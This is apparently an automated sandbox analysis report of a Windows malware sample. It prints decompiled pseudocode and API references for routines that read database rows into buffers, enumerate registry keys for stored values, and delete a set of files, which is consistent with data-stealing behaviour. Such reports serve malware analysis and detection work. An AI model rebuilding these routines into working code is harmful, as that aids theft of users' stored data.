Snapshot File: hcaresult_28_2_6c0000_254E.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID:
API String ID: 2238633743-0
Opcode ID: 594726dc9d5095b157e22f132bae16ed91bae53f4790aeb2ce1616c6ce3a6a40
Instruction ID: 8558eab2ffbeebab4fcc5a085e598e54c5488d1aac422ee04e1607a44e0c8db2
Opcode Fuzzy Hash: 594726dc9d5095b157e22f132bae16ed91bae53f4790aeb2ce1616c6ce3a6a40
Instruction Fuzzy Hash: 9B211EB56272009FC344EBB8ED889B637E9B74C315711C539E505C3261D6359462CF6A

Uniqueness

Uniqueness Score: -1.00%

Function 00408650, Relevance: 12.1, APIs: 8, Instructions: 107
stringmemoryCOMMON

Download Yara Rule

C-Code - Quality: 16%

			E00408650(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a24) {
				char _v8;
				char _v276;
				char _v280;
				char _v284;
				intOrPtr _v288;
				intOrPtr _v292;
				CHAR* _t30;
				void* _t33;
				void* _t35;
				void* _t41;
				intOrPtr _t48;
				intOrPtr _t67;
				void* _t73;
				void* _t75;
				void* _t76;
				void* _t79;

				E0040B720( &_v276, 0x104);
				_t30 =  *0x41a418; // 0x83b648
				wsprintfA( &_v276, _t30, _a12, _a8);
				_t33 =  *0x41a830(_a4,  &_v8);
				_t75 = _t73 + 0x18;
				if(_t33 == 0) {
					_t67 =  *0x41a790; // 0x83be80
					_t35 =  *0x41a7e8(_v8, _t67, 0xffffffff,  &_v280, 0);
					_t76 = _t75 + 0x14;
					if(_t35 != 0) {
						L6:
						 *0x41a808(_v280);
						return  *0x41a834(_v8);
					}
					_v284 = RtlAllocateHeap(GetProcessHeap(), 0, 0xf423f);
					while(1) {
						_t41 =  *0x41a804(_v280);
						_t79 = _t76 + 4;
						if(_t41 != 0x64) {
							break;
						}
						_v288 =  *0x41a820(_v280, 0);
						_t48 =  *0x41a820(_v280, 1);
						_t76 = _t79 + 0x10;
						_v292 = _t48;
						 *0x41aa24(_v284, _v288);
						 *0x41aa24(_v284, "\n");
						 *0x41aa24(_v284, _v292);
						 *0x41aa24(_v284, "\n\n");
					}
					E004137E0(_a24,  &_v276, _v284,  *0x41a908(_v284));
					_t76 = _t79 + 0x10;
					E0040B720( &_v284, 4);
					goto L6;
				}
				return _t33;
			}

0x00408665
0x00408672
0x0040867f
0x00408690
0x00408696
0x0040869b
0x004086ac
0x004086b7
0x004086bd
0x004086c2
0x004087b2
0x004087b9
0x00000000
0x004087cc
0x004086dc
0x004086e2
0x004086e9
0x004086ef
0x004086f5
0x00000000
0x00000000
0x0040870d
0x0040871c
0x00408722
0x00408725
0x00408739
0x0040874b
0x0040875f
0x00408771
0x00408771
0x0040879c
0x004087a1
0x004087ad
0x00000000
0x004087ad
0x004087d2

APIs

wsprintfA.USER32 ref: 0040867F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 004086CF
RtlAllocateHeap.NTDLL(00000000), ref: 004086D6
lstrcat.KERNEL32(?,?), ref: 00408739
lstrcat.KERNEL32(?,00418BC4), ref: 0040874B
lstrcat.KERNEL32(?,?), ref: 0040875F
lstrcat.KERNEL32(?,00418BC0), ref: 00408771
lstrlen.KERNEL32(?), ref: 00408783

Memory Dump Source

Source File: 0000001C.00000002.357514095.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.357551778.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_254E.jbxd

Similarity

API ID: lstrcat$Heap$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 3196222039-0
Opcode ID: cbaa3a57402c93d3f6ac8d8f06c7d0ef17fa834f40e1eb2d1f60f83834225a72
Instruction ID: 955311191cc75421edc53ced7400f0f4475059767564ca96251eab490a2998f9
Opcode Fuzzy Hash: cbaa3a57402c93d3f6ac8d8f06c7d0ef17fa834f40e1eb2d1f60f83834225a72
Instruction Fuzzy Hash: 5F41A9B1900108ABCB14DBA4DD46FDA7778AF4C705F0085A9F70997141DB35DAA1CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 00409400, Relevance: 12.1, APIs: 8, Instructions: 107
stringmemoryCOMMON

Download Yara Rule

C-Code - Quality: 16%

			E00409400(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v268;
				char _v272;
				char _v276;
				char _v280;
				intOrPtr _v284;
				intOrPtr _v288;
				CHAR* _t30;
				void* _t33;
				void* _t35;
				void* _t41;
				intOrPtr _t48;
				intOrPtr _t67;
				void* _t73;
				void* _t75;
				void* _t76;
				void* _t79;

				E0040B720( &_v268, 0x104);
				_t30 =  *0x41a40c; // 0x83b308
				wsprintfA( &_v268, _t30, _a12, _a8);
				_t33 =  *0x41a830(_a4,  &_v272);
				_t75 = _t73 + 0x18;
				if(_t33 == 0) {
					_t67 =  *0x41a08c; // 0x83bda0
					_t35 =  *0x41a7e8(_v272, _t67, 0xffffffff,  &_v276, 0);
					_t76 = _t75 + 0x14;
					if(_t35 != 0) {
						L6:
						 *0x41a808(_v276);
						return  *0x41a834(_v272);
					}
					_v280 = RtlAllocateHeap(GetProcessHeap(), 0, 0xf423f);
					while(1) {
						_t41 =  *0x41a804(_v276);
						_t79 = _t76 + 4;
						if(_t41 != 0x64) {
							break;
						}
						_v288 =  *0x41a820(_v276, 0);
						_t48 =  *0x41a820(_v276, 1);
						_t76 = _t79 + 0x10;
						_v284 = _t48;
						 *0x41aa24(_v280, _v288);
						 *0x41aa24(_v280, "\t");
						 *0x41aa24(_v280, _v284);
						 *0x41aa24(_v280, "\n");
					}
					E004137E0(_a16,  &_v268, _v280,  *0x41a908(_v280));
					_t76 = _t79 + 0x10;
					E0040B720( &_v280, 4);
					goto L6;
				}
				return _t33;
			}

0x00409415
0x00409422
0x0040942f
0x00409443
0x00409449
0x0040944e
0x0040945f
0x0040946d
0x00409473
0x00409478
0x00409568
0x0040956f
0x00000000
0x00409585
0x00409492
0x00409498
0x0040949f
0x004094a5
0x004094ab
0x00000000
0x00000000
0x004094c3
0x004094d2
0x004094d8
0x004094db
0x004094ef
0x00409501
0x00409515
0x00409527
0x00409527
0x00409552
0x00409557
0x00409563
0x00000000
0x00409563
0x0040958b

APIs

wsprintfA.USER32 ref: 0040942F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00409485
RtlAllocateHeap.NTDLL(00000000), ref: 0040948C
lstrcat.KERNEL32(?,?), ref: 004094EF
lstrcat.KERNEL32(?,004191EC), ref: 00409501
lstrcat.KERNEL32(?,?), ref: 00409515
lstrcat.KERNEL32(?,00418BC4), ref: 00409527
lstrlen.KERNEL32(?), ref: 00409539

Memory Dump Source

Source File: 0000001C.00000002.357514095.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.357551778.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_254E.jbxd

Similarity

API ID: lstrcat$Heap$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 3196222039-0
Opcode ID: 73554b27680e441b7f146b6b5ae22a03ed6891bd5a46cf62418f090caae84141
Instruction ID: 73f73464c9cdda0f85a8cd32dc3c754c459267de9915a2913d06030346bf418a
Opcode Fuzzy Hash: 73554b27680e441b7f146b6b5ae22a03ed6891bd5a46cf62418f090caae84141
Instruction Fuzzy Hash: B141BAB1900108ABCB14DFA4DD4AFDA77B8AF48705F0085A9F709D7141D675DEA0CFAA

Uniqueness

Uniqueness Score: -1.00%

Function 00408150, Relevance: 12.1, APIs: 8, Instructions: 107
stringmemoryCOMMON

Download Yara Rule

C-Code - Quality: 16%

			E00408150(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a24) {
				char _v268;
				char _v272;
				char _v276;
				char _v280;
				intOrPtr _v284;
				intOrPtr _v288;
				CHAR* _t30;
				void* _t33;
				void* _t35;
				void* _t41;
				intOrPtr _t48;
				intOrPtr _t67;
				void* _t73;
				void* _t75;
				void* _t76;
				void* _t79;

				E0040B720( &_v268, 0x104);
				_t30 =  *0x41a40c; // 0x83b308
				wsprintfA( &_v268, _t30, _a12, _a8);
				_t33 =  *0x41a830(_a4,  &_v272);
				_t75 = _t73 + 0x18;
				if(_t33 == 0) {
					_t67 =  *0x41a6ec; // 0x828398
					_t35 =  *0x41a7e8(_v272, _t67, 0xffffffff,  &_v276, 0);
					_t76 = _t75 + 0x14;
					if(_t35 != 0) {
						L6:
						 *0x41a808(_v276);
						return  *0x41a834(_v272);
					}
					_v280 = RtlAllocateHeap(GetProcessHeap(), 0, 0xf423f);
					while(1) {
						_t41 =  *0x41a804(_v276);
						_t79 = _t76 + 4;
						if(_t41 != 0x64) {
							break;
						}
						_v288 =  *0x41a820(_v276, 0);
						_t48 =  *0x41a820(_v276, 1);
						_t76 = _t79 + 0x10;
						_v284 = _t48;
						 *0x41aa24(_v280, _v288);
						 *0x41aa24(_v280, "\t");
						 *0x41aa24(_v280, _v284);
						 *0x41aa24(_v280, "\n");
					}
					E004137E0(_a24,  &_v268, _v280,  *0x41a908(_v280));
					_t76 = _t79 + 0x10;
					E0040B720( &_v280, 4);
					goto L6;
				}
				return _t33;
			}

0x00408165
0x00408172
0x0040817f
0x00408193
0x00408199
0x0040819e
0x004081af
0x004081bd
0x004081c3
0x004081c8
0x004082b8
0x004082bf
0x00000000
0x004082d5
0x004081e2
0x004081e8
0x004081ef
0x004081f5
0x004081fb
0x00000000
0x00000000
0x00408213
0x00408222
0x00408228
0x0040822b
0x0040823f
0x00408251
0x00408265
0x00408277
0x00408277
0x004082a2
0x004082a7
0x004082b3
0x00000000
0x004082b3
0x004082db

APIs

wsprintfA.USER32 ref: 0040817F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 004081D5
RtlAllocateHeap.NTDLL(00000000), ref: 004081DC
lstrcat.KERNEL32(?,?), ref: 0040823F
lstrcat.KERNEL32(?,004191EC), ref: 00408251
lstrcat.KERNEL32(?,?), ref: 00408265
lstrcat.KERNEL32(?,00418BC4), ref: 00408277
lstrlen.KERNEL32(?), ref: 00408289

Memory Dump Source

Source File: 0000001C.00000002.357514095.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.357551778.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_254E.jbxd

Similarity

API ID: lstrcat$Heap$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 3196222039-0
Opcode ID: 857a99269bea2190ef1d5ef6c68e25cbade465b3303be24ebff5005b65543a5f
Instruction ID: b2019dcf8292433c89953b96a3eab70520c34c161fc81907ed19fb7541bb8629
Opcode Fuzzy Hash: 857a99269bea2190ef1d5ef6c68e25cbade465b3303be24ebff5005b65543a5f
Instruction Fuzzy Hash: 5141ABB19001089BCB14DFA4DD46FDA7778AF48705F0085A9F709D7141DA75DEA0CFAA

Uniqueness

Uniqueness Score: -1.00%

Function 006C9650, Relevance: 12.1, APIs: 8, Instructions: 107stringmemoryCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 006C967F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 006C96D5
RtlAllocateHeap.NTDLL(00000000), ref: 006C96DC
lstrcat.KERNEL32(?,?), ref: 006C973F
lstrcat.KERNEL32(?,004191EC), ref: 006C9751
lstrcat.KERNEL32(?,?), ref: 006C9765
lstrcat.KERNEL32(?,00418BC4), ref: 006C9777
lstrlen.KERNEL32(?), ref: 006C9789

Memory Dump Source

Source File: 0000001C.00000002.357688678.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_6c0000_254E.jbxd

Similarity

API ID: lstrcat$Heap$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 3196222039-0
Opcode ID: b84b80bc3ef8a66e1ec50053915ad1ece2d15714b502d0903898013e999a1153
Instruction ID: bb1be654419962a96e61a6387925dd3f8a5c8edbe400a13332f79cc6f06145b0
Opcode Fuzzy Hash: b84b80bc3ef8a66e1ec50053915ad1ece2d15714b502d0903898013e999a1153
Instruction Fuzzy Hash: C441B6B1900118ABCB14DFA4DD4AFEA77B9EF08700F008598F70993241D6749EA0CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 006C88A0, Relevance: 12.1, APIs: 8, Instructions: 107stringmemoryCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 006C88CF
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 006C891F
RtlAllocateHeap.NTDLL(00000000), ref: 006C8926
lstrcat.KERNEL32(?,?), ref: 006C8989
lstrcat.KERNEL32(?,00418BC4), ref: 006C899B
lstrcat.KERNEL32(?,?), ref: 006C89AF
lstrcat.KERNEL32(?,00418BC0), ref: 006C89C1
lstrlen.KERNEL32(?), ref: 006C89D3

Memory Dump Source

Source File: 0000001C.00000002.357688678.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_6c0000_254E.jbxd

Similarity

API ID: lstrcat$Heap$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 3196222039-0
Opcode ID: 1119712f637d9eb64d062cc267114afa9ce115c682cd0cc618dc5df66b8733dd
Instruction ID: 613721b5ee219f937db4f87c6b6af035fc146a06fd7de166499588b27ce3cd50
Opcode Fuzzy Hash: 1119712f637d9eb64d062cc267114afa9ce115c682cd0cc618dc5df66b8733dd
Instruction Fuzzy Hash: D24187B1900108ABCB14DBA4DD4AFEA77B9EF08700F008598F70997151DB35DEA1CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 006C83A0, Relevance: 12.1, APIs: 8, Instructions: 107stringmemoryCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 006C83CF
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 006C8425
RtlAllocateHeap.NTDLL(00000000), ref: 006C842C
lstrcat.KERNEL32(?,?), ref: 006C848F
lstrcat.KERNEL32(?,004191EC), ref: 006C84A1
lstrcat.KERNEL32(?,?), ref: 006C84B5
lstrcat.KERNEL32(?,00418BC4), ref: 006C84C7
lstrlen.KERNEL32(?), ref: 006C84D9

Memory Dump Source

Source File: 0000001C.00000002.357688678.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_6c0000_254E.jbxd

Similarity

API ID: lstrcat$Heap$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 3196222039-0
Opcode ID: d8e0212f09cecbd233b21caa2a70ce8ec35c05bdcc88d7923fb4c376bc824f5d
Instruction ID: d2ed512b2f8b2b9c741d2332a3cc8788a5ff12ab8184dd980880e72ddb0b94e9
Opcode Fuzzy Hash: d8e0212f09cecbd233b21caa2a70ce8ec35c05bdcc88d7923fb4c376bc824f5d
Instruction Fuzzy Hash: 5D41A9B1A00118ABCB14DBA4DD4AFEA77B9EF08700F008598F709D7151DA75DEA0CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 0040B39D, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51
registrystringCOMMON

Download Yara Rule

C-Code - Quality: 47%

			E0040B39D() {
				long _t36;
				char* _t66;
				intOrPtr _t73;
				char* _t76;
				void* _t81;

				L0:
				while(1) {
					L0:
					 *(_t81 - 0xc1c) =  *(_t81 - 0xc1c) + 1;
					if( *((intOrPtr*)(_t81 - 0x814)) != 0) {
						break;
					}
					L2:
					 *(_t81 - 0x818) = 0x400;
					 *((intOrPtr*)(_t81 - 0x814)) = RegEnumKeyExA( *(_t81 - 0x810),  *(_t81 - 0xc1c), _t81 - 0x408, _t81 - 0x818, 0, 0, 0, 0);
					if( *((intOrPtr*)(_t81 - 0x814)) != 0) {
						L11:
						continue;
					} else {
						L3:
						_push(_t81 - 0x408);
						_t73 =  *0x41a230; // 0x823958
						_push(_t73);
						wsprintfA(_t81 - 0x808, "%s\%s");
						if(RegOpenKeyExA(0x80000002, _t81 - 0x808, 0, 0x20019, _t81 - 0x80c) == 0) {
							L5:
							 *(_t81 - 0x818) = 0x400;
							_t76 =  *0x41a71c; // 0x83c970
							if(RegQueryValueExA( *(_t81 - 0x80c), _t76, 0, _t81 - 4, _t81 - 0xc18, _t81 - 0x818) == 0) {
								L6:
								_push(_t81 - 0xc18);
								if( *0x41a908() > 1) {
									L7:
									 *0x41aa24( *((intOrPtr*)(_t81 + 8)), _t81 - 0xc18);
									 *(_t81 - 0x818) = 0x400;
									_t66 =  *0x41a450; // 0x83c8b0
									if(RegQueryValueExA( *(_t81 - 0x80c), _t66, 0, _t81 - 4, _t81 - 0xc18, _t81 - 0x818) == 0) {
										 *0x41aa24( *((intOrPtr*)(_t81 + 8)), " ");
										 *0x41aa24( *((intOrPtr*)(_t81 + 8)), _t81 - 0xc18);
									}
									L9:
									 *0x41aa24( *((intOrPtr*)(_t81 + 8)), "\n");
								}
							}
							L10:
							RegCloseKey( *(_t81 - 0x80c));
							goto L11;
						} else {
							L4:
							RegCloseKey( *(_t81 - 0x80c));
							_t36 = RegCloseKey( *(_t81 - 0x810));
						}
					}
					L13:
					return _t36;
					L14:
				}
				L12:
				_t36 = RegCloseKey( *(_t81 - 0x810));
				goto L13;
			}

0x0040b39d
0x0040b39d
0x0040b39d
0x0040b3a6
0x0040b3b3
0x00000000
0x00000000
0x0040b3b9
0x0040b3b9
0x0040b3ed
0x0040b3fa
0x0040b535
0x00000000
0x0040b400
0x0040b400
0x0040b406
0x0040b407
0x0040b40d
0x0040b41a
0x0040b445
0x0040b466
0x0040b466
0x0040b484
0x0040b49a
0x0040b4a0
0x0040b4a6
0x0040b4b0
0x0040b4b2
0x0040b4bd
0x0040b4c3
0x0040b4e1
0x0040b4f7
0x0040b502
0x0040b513
0x0040b513
0x0040b519
0x0040b522
0x0040b522
0x0040b4b0
0x0040b528
0x0040b52f
0x00000000
0x0040b447
0x0040b447
0x0040b44e
0x0040b45b
0x0040b45b
0x0040b445
0x0040b547
0x0040b54a
0x00000000
0x0040b54a
0x0040b53a
0x0040b541
0x00000000

APIs

RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 0040B3E7
wsprintfA.USER32 ref: 0040B41A
RegOpenKeyExA.ADVAPI32(80000002,?,00000000,00020019,00000000), ref: 0040B43D
RegCloseKey.ADVAPI32(00000000), ref: 0040B44E
RegCloseKey.ADVAPI32(00000000), ref: 0040B45B
RegQueryValueExA.ADVAPI32(00000000,0083C970,00000000,000F003F,?,00000400), ref: 0040B492
lstrlen.KERNEL32(?), ref: 0040B4A7
lstrcat.KERNEL32(?,?), ref: 0040B4BD
RegQueryValueExA.ADVAPI32(00000000,0083C8B0,00000000,000F003F,?,00000400), ref: 0040B4EF
lstrcat.KERNEL32(?,00419238), ref: 0040B502
lstrcat.KERNEL32(?,?), ref: 0040B513
lstrcat.KERNEL32(?,00418BC4), ref: 0040B522
RegCloseKey.ADVAPI32(00000000), ref: 0040B52F
RegCloseKey.ADVAPI32(00000000), ref: 0040B541

Strings

%s\%s, xrefs: 0040B40E

Memory Dump Source

Source File: 0000001C.00000002.357514095.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.357551778.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_254E.jbxd

Similarity

API ID: Closelstrcat$QueryValue$EnumOpenlstrlenwsprintf
String ID: %s\%s
API String ID: 199769609-4073750446
Opcode ID: a4012638aad7033c914fdd1a0f1ca3e258b17949767a5016186a6d4b83d2670b
Instruction ID: 9546bb00d88ab29d98338f3d9e51bb631a883dd56483db4c703a054c40f4693a
Opcode Fuzzy Hash: a4012638aad7033c914fdd1a0f1ca3e258b17949767a5016186a6d4b83d2670b
Instruction Fuzzy Hash: 86110DB1901218ABDB20CB50DD45FE9B3B8FB48704F00C5E9A249A6181DB745AD6CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 006CB2E0, Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 38registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 006CB2F4
RtlAllocateHeap.NTDLL(00000000), ref: 006CB2FB
RegOpenKeyExA.ADVAPI32(80000002,0041A3F4,00000000,00020119,X[l), ref: 006CB31B
RegQueryValueExA.ADVAPI32(X[l,0041A4DC,00000000,00000000,?,000000FF), ref: 006CB33C
RegCloseKey.ADVAPI32(X[l), ref: 006CB346

Strings

X[l, xrefs: 006CB304, 006CB342, 006CB338, 006CB307, 006CB33B, 006CB345

Memory Dump Source

Source File: 0000001C.00000002.357688678.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_6c0000_254E.jbxd

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: X[l
API String ID: 3225020163-2158301174
Opcode ID: df4039e8785e81f7b3363609146fe50ac8c96b68d8374592efb58b1d304fb9ce
Instruction ID: 2b73ce71b43123a9824a4528c148c3e35c745c6e107fcaa8bdfc4689ddb9195d
Opcode Fuzzy Hash: df4039e8785e81f7b3363609146fe50ac8c96b68d8374592efb58b1d304fb9ce
Instruction Fuzzy Hash: B0014FB5A41208BFD700DFE0DD4AFEEB7B8EB48700F008568FA05A7291D6745A50CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 00405DE0, Relevance: 10.5, APIs: 7, Instructions: 25
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405DE0() {
				CHAR* _t1;
				CHAR* _t5;
				CHAR* _t9;
				CHAR* _t11;
				CHAR* _t12;
				CHAR* _t13;
				CHAR* _t14;

				_t1 =  *0x41a6a4; // 0x839fe0
				DeleteFileA(_t1);
				_t11 =  *0x41a2f0; // 0x83a008
				DeleteFileA(_t11);
				_t13 =  *0x41a650; // 0x83a148
				DeleteFileA(_t13);
				_t5 =  *0x41a220; // 0x83a170
				DeleteFileA(_t5);
				_t12 =  *0x41a6cc; // 0x825788
				DeleteFileA(_t12);
				_t14 =  *0x41a4a8; // 0x83a080
				DeleteFileA(_t14);
				_t9 =  *0x41a700; // 0x83a0a8
				return DeleteFileA(_t9);
			}

0x00405de3
0x00405de9
0x00405def
0x00405df6
0x00405dfc
0x00405e03
0x00405e09
0x00405e0f
0x00405e15
0x00405e1c
0x00405e22
0x00405e29
0x00405e2f
0x00405e3c

APIs

DeleteFileA.KERNEL32(00839FE0,?,004068D3,?,00000004,?,00000004,?,00000004,?,00001388,?,00000104), ref: 00405DE9
DeleteFileA.KERNEL32(0083A008,?,004068D3,?,00000004,?,00000004,?,00000004,?,00001388,?,00000104), ref: 00405DF6
DeleteFileA.KERNEL32(0083A148,?,004068D3,?,00000004,?,00000004,?,00000004,?,00001388,?,00000104), ref: 00405E03
DeleteFileA.KERNEL32(0083A170,?,004068D3,?,00000004,?,00000004,?,00000004,?,00001388,?,00000104), ref: 00405E0F
DeleteFileA.KERNEL32(00825788,?,004068D3,?,00000004,?,00000004,?,00000004,?,00001388,?,00000104), ref: 00405E1C
DeleteFileA.KERNEL32(0083A080,?,004068D3,?,00000004,?,00000004,?,00000004,?,00001388,?,00000104), ref: 00405E29
DeleteFileA.KERNEL32(0083A0A8,?,004068D3,?,00000004,?,00000004,?,00000004,?,00001388,?,00000104), ref: 00405E35

Memory Dump Source

Source File: 0000001C.00000002.357514095.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.357551778.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_254E.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: ff69e4b31bc1838d1b169166c51fd268a0e82c38cd1b180b4cede6b8889026cc
Instruction ID: 53f7d35bc311ab0ea18b8a2534d9d90475545ede5d55a6c2cac6028fe6962c5d
Opcode Fuzzy Hash: ff69e4b31bc1838d1b169166c51fd268a0e82c38cd1b180b4cede6b8889026cc
Instruction Fuzzy Hash: D7F014F95232009BC7049BA4ED4C8A637A9B7CC621305C928B50683225CB39E5608B7B

Uniqueness

Uniqueness Score: -1.00%

Function 006C6030, Relevance: 10.5, APIs: 7, Instructions: 25fileCOMMON

Download Yara Rule

APIs

DeleteFileA.KERNEL32(0041A6A4), ref: 006C6039
DeleteFileA.KERNEL32(0041A2F0), ref: 006C6046
DeleteFileA.KERNEL32(0041A650), ref: 006C6053
DeleteFileA.KERNEL32(0041A220), ref: 006C605F
DeleteFileA.KERNEL32(0041A6CC), ref: 006C606C
DeleteFileA.KERNEL32(0041A4A8), ref: 006C6079
DeleteFileA.KERNEL32(0041A700), ref: 006C6085

Memory Dump Source

Source File: 0000001C.00000002.357688678.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_6c0000_254E.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: ff69e4b31bc1838d1b169166c51fd268a0e82c38cd1b180b4cede6b8889026cc
Instruction ID: 53f7d35bc311ab0ea18b8a2534d9d90475545ede5d55a6c2cac6028fe6962c5d
Opcode Fuzzy Hash: ff69e4b31bc1838d1b169166c51fd268a0e82c38cd1b180b4cede6b8889026cc
Instruction Fuzzy Hash: D7F014F95232009BC7049BA4ED4C8A637A9B7CC621305C928B50683225CB39E5608B7B

Uniqueness

Uniqueness Score: -1.00%

Function 00409590, Relevance: 9.1, APIs: 6, Instructions: 94
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 25%

			E00409590(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				char _v276;
				intOrPtr _v280;
				char _v284;
				char _v288;
				intOrPtr _v292;
				CHAR* _t27;
				void* _t30;
				void* _t32;
				void* _t38;
				intOrPtr _t44;
				intOrPtr _t58;
				void* _t64;
				void* _t66;
				void* _t67;
				void* _t70;

				E0040B720( &_v276, 0x104);
				_t27 =  *0x41a07c; // 0x83b3e8
				wsprintfA( &_v276, _t27, _a12, _a8);
				_t58 =  *0x41a294; // 0x83a210
				_v280 = _t58;
				_t30 =  *0x41a830(_a4,  &_v8);
				_t66 = _t64 + 0x18;
				if(_t30 == 0) {
					_t32 =  *0x41a7e8(_v8, _v280, 0xffffffff,  &_v284, 0);
					_t67 = _t66 + 0x14;
					if(_t32 != 0) {
						L6:
						 *0x41a808(_v284);
						return  *0x41a834(_v8);
					}
					_v288 = RtlAllocateHeap(GetProcessHeap(), 0, 0xf423f);
					while(1) {
						_t38 =  *0x41a804(_v284);
						_t70 = _t67 + 4;
						if(_t38 != 0x64) {
							break;
						}
						_t44 =  *0x41a820(_v284, 0);
						_t67 = _t70 + 8;
						_v292 = _t44;
						 *0x41aa24(_v288, _v292);
						 *0x41aa24(_v288, "\n");
					}
					E004137E0(_a16,  &_v276, _v288,  *0x41a908(_v288));
					_t67 = _t70 + 0x10;
					E0040B720( &_v288, 4);
					goto L6;
				}
				return _t30;
			}

0x004095a5
0x004095b2
0x004095bf
0x004095c8
0x004095ce
0x004095dc
0x004095e2
0x004095e7
0x00409603
0x00409609
0x0040960e
0x004096b9
0x004096c0
0x00000000
0x004096d3
0x00409628
0x0040962e
0x00409635
0x0040963b
0x00409641
0x00000000
0x00000000
0x0040964c
0x00409652
0x00409655
0x00409669
0x0040967b
0x0040967b
0x004096a3
0x004096a8
0x004096b4
0x00000000
0x004096b4
0x004096d9

APIs

wsprintfA.USER32 ref: 004095BF
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0040961B
RtlAllocateHeap.NTDLL(00000000), ref: 00409622
lstrcat.KERNEL32(?,?), ref: 00409669
lstrcat.KERNEL32(?,00418BC4), ref: 0040967B
lstrlen.KERNEL32(?), ref: 0040968A

Memory Dump Source

Source File: 0000001C.00000002.357514095.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.357551778.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_254E.jbxd

Similarity

API ID: Heaplstrcat$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 2177231248-0
Opcode ID: 118ae59d0f25a22a12b371e08b370f69fa651aeb9a5a1d3569fc809063f8c249
Instruction ID: 0f4305f0ea4e8f12541be8dfce34b0e085d7d14125619b5af487afca8afb3160
Opcode Fuzzy Hash: 118ae59d0f25a22a12b371e08b370f69fa651aeb9a5a1d3569fc809063f8c249
Instruction Fuzzy Hash: 263186B1900108ABCB14DFA4DD46FDA73B8AF4C704F0085A9F70997281D635DEA1CFAA

Uniqueness

Uniqueness Score: -1.00%

Function 006C97E0, Relevance: 9.1, APIs: 6, Instructions: 94memorystringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 006C980F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 006C986B
RtlAllocateHeap.NTDLL(00000000), ref: 006C9872
lstrcat.KERNEL32(?,?), ref: 006C98B9
lstrcat.KERNEL32(?,00418BC4), ref: 006C98CB
lstrlen.KERNEL32(?), ref: 006C98DA

Memory Dump Source

Source File: 0000001C.00000002.357688678.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_6c0000_254E.jbxd

Similarity

